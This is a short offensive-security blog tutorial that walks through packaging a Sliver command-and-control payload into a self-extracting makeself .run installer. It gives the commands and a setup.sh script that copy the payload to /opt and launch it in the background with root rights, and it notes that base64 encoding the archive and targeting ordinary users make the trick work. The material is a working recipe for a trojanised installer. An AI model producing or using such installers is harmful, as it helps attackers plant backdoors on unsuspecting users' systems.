So okay, now we know how to make a maldeb, what about making something a bit more generic that works for most distributions ?
The solution for this is a script called makeself, and it's pretty simple to use, so let's dive right in :)

First, why would you use run installers over debs / RPM's ?. Because run installers can run on every Linux system without much modification, it depends on how you write the setup script.
Next, they are easy to make, they are fast, and easy for the ordinary user to run, and very easy to get to do what we want. Anything we can get a shellscript to do, our run installer can do, that's worth keeping in mind.

First, install the makeself package

apt install makeself

Next we need a folder, for this let's call it famous_installer.

mkdir famous_installer

Next, we copy our payload into that folder, and we also make a script called setup.sh

cp FAMOUS_QUALITY famous_installer

touch setup.sh

cd famous_installer

chmod 777 *

chmod +x FAMOUS_QUALITY


Next, we write the setup script, it's pretty basic. It just takes the payload, and copy it into /opt/ and then runs it.

cat setup.sh       
#!/bin/bash
#Setup famous Sliver payload in /opt
check_root()
{
	if [ "$EUID" -ne 0 ]; then
	echo "Not running as root..quitting"
	exit
	fi
}
cp FAMOUS_QUALITY /opt
chmod +x /opt/FAMOUS_QUALITY
/opt/FAMOUS_QUALITY &

That's it. Now we make the package

makeself --needroot --base64 /home/nx/famous_installer famous_installer.run "Famous Payload Installer" ./setup.sh

Here we base64 encrypt some of the package and make sure it tells the user running it that they need to run it as root, we give a filename, and a description, and tells it there's a setup.sh script.
That's it, it's that simple. When we're done, run it with ./package_name.run. Try it as a normal user, and it should bitch abut missing admin privs.

└─$ ./famous_installer.run
Administrative privileges required for this archive (use su or sudo)

Rerun it as root or using sudo and it works.

Much Happy Installer Making ;)

You have no rights to post comments